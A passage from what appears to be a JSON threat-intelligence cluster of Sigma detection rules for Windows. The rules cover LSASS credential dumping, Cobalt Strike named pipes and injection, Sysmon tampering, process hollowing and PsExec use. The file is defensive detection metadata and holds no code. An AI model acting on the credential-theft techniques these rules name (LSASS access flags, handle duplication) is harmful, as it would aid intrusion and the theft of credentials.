for 0x1410. Exclusions may be required." ], "filename": "proc_access_win_lsass_memdump.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html", "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", "https://research.splunk.com/endpoint/windows_possible_credential_dumping/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.001/T1003.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001", "attack.s0002" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5ef9853e-4d0e-4a70-846f-a9ca37d876da", "value": "LSASS Memory Dump" }, { "description": "Detects processes requesting access to LSASS memory via suspicious access masks. This is typical for credentials dumping tools", "meta": { "author": "Florian Roth, Roberto Rodriguez, Dimitrios Slamaris, Mark Russinovich, Thomas Patzke, Teymur Kheirkhabarov, Sherif Eldeeb, James Dickenson, Aleksey Potapov, oscd.community (update)", "creation_date": "2017/02/16", "falsepositive": [ "Legitimate software accessing LSASS process for legitimate reason; please add more filters" ], "filename": "proc_access_win_cred_dump_lsass_access.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cred_dump_lsass_access.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001", "attack.s0002", "car.2019-04-004" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "32d0d3e2-e58d-4d41-926b-18b520b2b32d", "value": "Credential Dumping Tools Accessing LSASS Memory" }, { "description": "Detects process access to LSASS memory with suspicious access flags 0x410 and 0x01410 (spin-off of similar rule)", "meta": { "author": "Florian Roth", "creation_date": "2022/03/13", "falsepositive": [ "Legitimate software accessing LSASS process for legitimate reason" ], "filename": "proc_access_win_rare_proc_access_lsass.yml", "level": "medium", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_rare_proc_access_lsass.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001", "attack.s0002" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "678dfc63-fefb-47a5-a04c-26bcf8cc9f65", "value": "Rare GrantedAccess Flags on LSASS Access" }, { "description": "Detects process access to LSASS memory with suspicious access flags", "meta": { "author": "Florian Roth", "creation_date": "2021/11/22", "falsepositive": [ "Legitimate software accessing LSASS process for legitimate reason" ], "filename": "proc_access_win_susp_proc_access_lsass.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001", "attack.s0002" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a18dd26b-6450-46de-8c91-9659150cf088", "value": "Suspicious GrantedAccess Flags on LSASS Access" }, { "description": "Detects the usage of the direct syscall of NtOpenProcess which might be done from a CobaltStrike BOF.", "meta": { "author": "Christian Burkard, Tim Shelton", "creation_date": "2021/07/28", "falsepositive": [ "Unknown" ], "filename": "proc_access_win_direct_syscall_ntopenprocess.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://medium.com/falconforce/falconfriday-direct-system-calls-and-cobalt-strike-bofs-0xff14-741fa8e1bdd6", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_direct_syscall_ntopenprocess.yml" ], "tags": [ "attack.execution", "attack.t1106" ] }, "related": [ { "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3f3f3506-1895-401b-9cc3-e86b16e630d0", "value": "Direct Syscall of NtOpenProcess" }, { "description": "Detects potential shellcode injection used by tools such as Metasploit's migrate and Empire's psinject", "meta": { "author": "Bhabesh Raj", "creation_date": "2022/03/11", "falsepositive": [ "Unknown" ], "filename": "proc_access_win_shellcode_inject_msf_empire.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_shellcode_inject_msf_empire.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1055" ] }, "uuid": "250ae82f-736e-4844-a68b-0b5e8cc887da", "value": "Potential Shellcode Injection" }, { "description": "Detects potential NT API stub patching as seen used by the project PatchingAPI", "meta": { "author": "frack113", "creation_date": "2023/01/07", "falsepositive": [ "Unknown" ], "filename": "proc_access_win_invoke_patchingapi.yml", "level": "medium", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://twitter.com/D1rkMtr/status/1611471891193298944?s=20", "https://github.com/D1rkMtr/UnhookingPatch", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_invoke_patchingapi.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.002" ] }, "related": [ { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b916cba1-b38a-42da-9223-17114d846fd6", "value": "Potential NT API Stub Patching" }, { "description": "Detects the process injection of a LittleCorporal generated Maldoc.", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/09", "falsepositive": [ "Unknown" ], "filename": "proc_access_win_littlecorporal_generated_maldoc.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://github.com/connormcgarr/LittleCorporal", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_littlecorporal_generated_maldoc.yml" ], "tags": [ "attack.execution", "attack.t1204.002", "attack.t1055.003" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "41d9846c-f6af-4302-a654-24bba2729bc6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7bdde3bf-2a42-4c39-aa31-a92b3e17afac", "value": "LittleCorporal Generated Maldoc Injection" }, { "description": "Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles", "meta": { "author": "Bhabesh Raj (rule), @thefLinkk", "creation_date": "2022/06/27", "falsepositive": [ "Unknown" ], "filename": "proc_access_win_handlekatz_lsass_access.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://github.com/codewhitesec/HandleKatz", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_handlekatz_lsass_access.yml" ], "tags": [ "attack.execution", "attack.t1106", "attack.defense_evasion", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b1bd3a59-c1fd-4860-9f40-4dd161a7d1f5", "value": "HandleKatz Duplicating LSASS Handle" }, { "description": "Detects a possible process memory dump based on a keyword in the file name of the accessing process", "meta": { "author": "Florian Roth", "creation_date": "2022/02/10", "falsepositive": [ "Rare programs that contain the word dump in their name and access lsass" ], "filename": "proc_access_win_lsass_memdump_indicators.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://twitter.com/_xpn_/status/1491557187168178176", "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_indicators.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001", "attack.s0002" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9bd012ee-0dff-44d7-84a0-aa698cfd87a3", "value": "LSASS Memory Access by Tool Named Dump" }, { "description": "Detects the use of SysmonEnte, a tool to attack the integrity of Sysmon", "meta": { "author": "Florian Roth", "creation_date": "2022/09/07", "falsepositive": [ "Unknown" ], "filename": "proc_access_win_hack_sysmonente.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://github.com/codewhitesec/SysmonEnte/blob/main/screens/1.png", "https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html", "https://github.com/codewhitesec/SysmonEnte/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hack_sysmonente.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.002" ] }, "related": [ { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d29ada0f-af45-4f27-8f32-f7b77c3dbc4e", "value": "SysmonEnte Usage" }, { "description": "Detects a typical pattern of a CobaltStrike BOF which inject into other processes", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/04", "falsepositive": [ "Unknown" ], "filename": "proc_access_win_cobaltstrike_bof_injection_pattern.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://github.com/boku7/injectAmsiBypass", "https://github.com/boku7/spawn", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cobaltstrike_bof_injection_pattern.yml" ], "tags": [ "attack.execution", "attack.t1106", "attack.defense_evasion", "attack.t1562.001" ] }, "related": [ { "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "09706624-b7f6-455d-9d02-adee024cee1d", "value": "CobaltStrike BOF Injection Pattern" }, { "description": "Detects suspicious access to Lsass handle via a call trace to \"seclogon.dll\"", "meta": { "author": "Samir Bousseaden (original elastic rule), Nasreddine Bencherchali (sigma)", "creation_date": "2022/06/29", "falsepositive": [ "Unknown" ], "filename": "proc_access_win_susp_seclogon.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html", "https://github.com/elastic/detection-rules/blob/2bc1795f3d7bcc3946452eb4f07ae799a756d94e/rules/windows/credential_access_lsass_handle_via_malseclogon.toml", "https://twitter.com/SBousseaden/status/1541920424635912196", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_seclogon.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "472159c5-31b9-4f56-b794-b766faa8b0a7", "value": "Suspicious LSASS Access Via MalSecLogon" }, { "description": "Triggers on any Sysmon file block executable event. Which should indicates a violation of the block policy set", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/16", "falsepositive": [ "Unlikely" ], "filename": "sysmon_file_block_exe.yml", "level": "high", "logsource.category": "file_block", "logsource.product": "windows", "refs": [ "https://medium.com/@olafhartong/sysmon-14-0-fileblockexecutable-13d7ba3dff3e", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_exe.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "23b71bc5-953e-4971-be4c-c896cda73fc2", "value": "Sysmon Blocked Executable" }, { "description": "Detects a Sysmon configuration change, which could be the result of a legitimate reconfiguration or someone trying manipulate the configuration", "meta": { "author": "frack113", "creation_date": "2022/01/12", "falsepositive": [ "Legitimate administrative action" ], "filename": "sysmon_config_modification.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "8ac03a65-6c84-4116-acad-dc1558ff7a77", "value": "Sysmon Configuration Change" }, { "description": "Detects when a memory process image does not match the disk image, indicative of process hollowing.", "meta": { "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Sittikorn S", "creation_date": "2022/01/25", "falsepositive": [ "There are no known false positives at this time" ], "filename": "sysmon_process_hollowing.yml", "level": "high", "logsource.category": "process_tampering", "logsource.product": "windows", "refs": [ "https://twitter.com/SecurePeacock/status/1486054048390332423?s=20", "https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-now-detects-malware-process-tampering-attempts/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_process_hollowing.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1055.012" ] }, "related": [ { "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c4b890e5-8d8c-4496-8c66-c805753817cd", "value": "Sysmon Process Hollowing Detection" }, { "description": "Detects when an adversary is trying to hide it's action from Sysmon logging based on error messages", "meta": { "author": "frack113", "creation_date": "2021/06/04", "falsepositive": [ "Legitimate administrative action" ], "filename": "sysmon_config_modification_error.yml", "level": "high", "logsource.category": "sysmon_error", "logsource.product": "windows", "refs": [ "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_error.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564" ] }, "related": [ { "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "815cd91b-7dbc-4247-841a-d7dd1392b0a8", "value": "Sysmon Configuration Error" }, { "description": "Detects when an attacker tries to hide from Sysmon by disabling or stopping it", "meta": { "author": "frack113", "creation_date": "2021/06/04", "falsepositive": [ "Legitimate administrative action" ], "filename": "sysmon_config_modification_status.yml", "level": "high", "logsource.category": "sysmon_status", "logsource.product": "windows", "refs": [ "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_status.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564" ] }, "related": [ { "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1f2b5353-573f-4880-8e33-7d04dcf97744", "value": "Sysmon Configuration Modification" }, { "description": "Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles", "meta": { "author": "Florian Roth, Christian Burkard", "creation_date": "2021/07/30", "falsepositive": [ "Chrome instances using the exact same pipe name \"mojo.something\"" ], "filename": "pipe_created_susp_cobaltstrike_pipe_patterns.yml", "level": "high", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752", "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_cobaltstrike_pipe_patterns.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1055" ] }, "uuid": "85adeb13-4fc9-4e68-8a4a-c7cb2c336eb7", "value": "CobaltStrike Named Pipe Patterns" }, { "description": "Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles", "meta": { "author": "Florian Roth", "creation_date": "2021/07/30", "falsepositive": [ "Unknown" ], "filename": "pipe_created_mal_cobaltstrike_re.yml", "level": "critical", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752", "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike_re.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1055" ] }, "uuid": "0e7163d4-9e19-4fa7-9be6-000c61aad77a", "value": "CobaltStrike Named Pipe Pattern Regex" }, { "description": "Detects well-known credential dumping tools execution via specific named pipes", "meta": { "author": "Teymur Kheirkhabarov, oscd.community", "creation_date": "2019/11/01", "falsepositive": [ "Legitimate Administrator using tool for password recovery" ], "filename": "pipe_created_cred_dump_tools_named_pipes.yml", "level": "critical", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_cred_dump_tools_named_pipes.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001", "attack.t1003.002", "attack.t1003.004", "attack.t1003.005" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "961d0ba2-3eea-4303-a930-2cf78bbfcc5e", "value": "Cred Dump-Tools Named Pipes" }, { "description": "Detects the creation of a named pipe as used by CobaltStrike", "meta": { "author": "Florian Roth, Wojciech Lesicki", "creation_date": "2021/05/25", "falsepositive": [ "Unknown" ], "filename": "pipe_created_mal_cobaltstrike.yml", "level": "critical", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/253", "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", "https://redcanary.com/threat-detection-report/threats/cobalt-strike/", "https://twitter.com/d4rksystem/status/1357010969264873472", "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1055" ] }, "uuid": "d5601f8c-b26f-4ab0-9035-69e11a8d4ad2", "value": "CobaltStrike Named Pipe" }, { "description": "Detects a named pipe used by Turla group samples", "meta": { "author": "Markus Neis", "creation_date": "2017/11/06", "falsepositive": [ "Unknown" ], "filename": "pipe_created_apt_turla_namedpipes.yml", "level": "critical", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://attack.mitre.org/groups/G0010/", "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_apt_turla_namedpipes.yml" ], "tags": [ "attack.g0010", "attack.execution", "attack.t1106" ] }, "related": [ { "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "739915e4-1e70-4778-8b8a-17db02f66db1", "value": "Turla Group Named Pipes" }, { "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", "creation_date": "2019/09/12", "falsepositive": [ "Programs using PowerShell directly without invocation of a dedicated interpreter." ], "filename": "pipe_created_alternate_powershell_hosts_pipe.yml", "level": "medium", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190815181010.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_alternate_powershell_hosts_pipe.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "58cb02d5-78ce-4692-b3e1-dce850aae41a", "value": "Alternate PowerShell Hosts Pipe" }, { "description": "Detects creation of default named pipe used by the DiagTrackEoP POC", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/03", "falsepositive": [ "Unlikely" ], "filename": "pipe_created_diagtrack_eop_default_pipe.yml", "level": "critical", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L22", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_diagtrack_eop_default_pipe.yml" ], "tags": [ "attack.privilege_escalation" ] }, "uuid": "1f7025a6-e747-4130-aac4-961eb47015f1", "value": "DiagTrackEoP Default Named Pipe" }, { "description": "Detects PAExec default named pipe", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/26", "falsepositive": [ "Unknown" ], "filename": "pipe_created_paexec_default_pipe.yml", "level": "medium", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Command%20and%20Control/C2-NamedPipe.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_paexec_default_pipe.yml" ], "tags": [ "attack.execution", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f6451de4-df0a-41fa-8d72-b39f54a08db5", "value": "PAExec Default Named Pipe" }, { "description": "Detects the WMI Event Consumer service scrcons.exe creating a named pipe", "meta": { "author": "Florian Roth", "creation_date": "2021/09/01", "falsepositive": [ "Unknown" ], "filename": "pipe_created_susp_wmi_consumer_namedpipe.yml", "level": "high", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://github.com/RiccardoAncarani/LiquidSnake", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_wmi_consumer_namedpipe.yml" ], "tags": [ "attack.t1047", "attack.execution" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "493fb4ab-cdcc-4c4f-818c-0e363bd1e4bb", "value": "WMI Event Consumer Created Named Pipe" }, { "description": "Detects execution of PowerShell via creation of named pipe starting with PSHost", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2019/09/12", "falsepositive": [ "Unknown" ], "filename": "pipe_created_powershell_execution_pipe.yml", "level": "informational", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_powershell_execution_pipe.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ac7102b4-9e1e-4802-9b4f-17c5524c015c", "value": "PowerShell Execution Via Named Pipe" }, { "description": "Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/04", "falsepositive": [ "Rare legitimate use of psexec from the locations mentioned above" ], "filename": "pipe_created_psexec_default_pipe_from_susp_location.yml", "level": "high", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://jpcertcc.github.io/ToolAnalysisResultSheet", "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_default_pipe_from_susp_location.yml" ], "tags": [ "attack.execution", "attack.t1569.002", "attack.s0029" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "41504465-5e3a-4a5b-a5b4-2a0baadd4463", "value": "PsExec Tool Execution From Suspicious Locations - PipeName" }, { "description": "Detects the pattern of a pipe name as used by the tool EfsPotato", "meta": { "author": "Florian Roth", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "pipe_created_efspotato_namedpipe.yml", "level": "high", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://twitter.com/SBousseaden/status/1429530155291193354?s=20", "https://github.com/zcgonvh/EfsPotato", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_efspotato_namedpipe.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1055" ] }, "uuid": "637f689e-b4a5-4a86-be0e-0100a0a33ba2", "value": "EfsPotato Named Pipe" }, { "description": "Detecting use PsExec via Pipe Creation/Access to pipes", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/05/10", "falsepositive": [ "Legitimate Administrator activity" ], "filename": "pipe_created_psexec_pipes_artifacts.yml", "level": "medium", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_pipes_artifacts.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002", "attack.execution", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9e77ed63-2ecf-4c7b-b09d-640834882028", "value": "PsExec Pipes Artifacts" }, { "description": "Detects the creation of a named pipe used by known APT malware", "meta": { "author": "Florian Roth, blueteam0ps, elhoim", "creation_date": "2017/11/06", "falsepositive": [ "Unknown" ], "filename": "pipe_created_mal_namedpipes.yml", "level": "critical", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://github.com/RiccardoAncarani/LiquidSnake", "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", "https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/", "https://www.us-cert.gov/ncas/alerts/TA17-117A", "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf", "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", 